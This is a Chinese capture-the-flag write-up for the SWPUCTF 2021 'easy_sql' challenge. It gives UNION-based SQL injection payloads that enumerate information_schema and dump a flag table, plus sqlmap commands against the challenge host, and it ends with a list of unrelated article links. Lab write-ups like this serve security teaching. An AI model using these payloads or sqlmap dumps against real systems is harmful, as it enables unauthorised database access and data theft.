sql [SWPUCTF 2021 新生赛]easy_sql

打开题目,直接查看源代码给了提示注入点是wllm

然后得到了name和password

输入1' 报错,说明注入点是字符型注入

输到4的时候报错了

说明列名字段数为3

爆破数据显示位为2,3

我们直接爆破数据库名

我们知道数据库名为test_db

爆破表名

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db" --+

我们知道表名有test_tb和users

我们选择test_tb进行爆破

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb" --+

看见有id和flag两个字段

我们直接爆破数据

?wllm=-1' union select 1,2,flag from test_tb --+

得到flag

同样这道题也可以用sqlmap跑一下看看

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" --dbs

得到数据库名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db --tables

得到所有表名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb --columns

得到所有列名

sqlmap -u "http://node4.anna.nssctf.cn:28057/?wllm=1'" -D test_db -T test_tb -C flag --dump

得到flag

sqlmap的使用见:

sqlmap的安装与使用-CSDN博客

相关推荐
川石课堂软件测试4 分钟前
MySQL数据库之DBA命令
数据库·网络协议·mysql·http·单元测试·prometheus·dba
ybb_ymm2 小时前
mysql8在linux下的默认规则修改
linux·运维·数据库·mysql
倔强的石头_2 小时前
Navicat Premium 与金仓数据库融合实践:高效管理国产数据库新方案
数据库
程序新视界3 小时前
为什么要尽量将MySQL表字段要设置为NOT NULL?
数据库·mysql·dba
怪兽20143 小时前
SQL优化手段有哪些
java·数据库·面试
lypzcgf4 小时前
FastbuildAI后端数据库模块注册分析
数据库·ai应用·ai创业·智能体平台·ai应用平台·agent平台·fastbuildai
xyy20255 小时前
Spring事务的传播方式
java·数据库·spring
非凡的世界5 小时前
Thinkphp8 Redis队列与消息队列topthink/think-queue 原创
数据库·redis·bootstrap·thinkphp
yookay zhang5 小时前
DM线程的管理知识学习
数据库
l1t6 小时前
测试DuckDB电子表格读取插件rusty_sheet 0.2版
数据库·rust·插件·xlsx·duckdb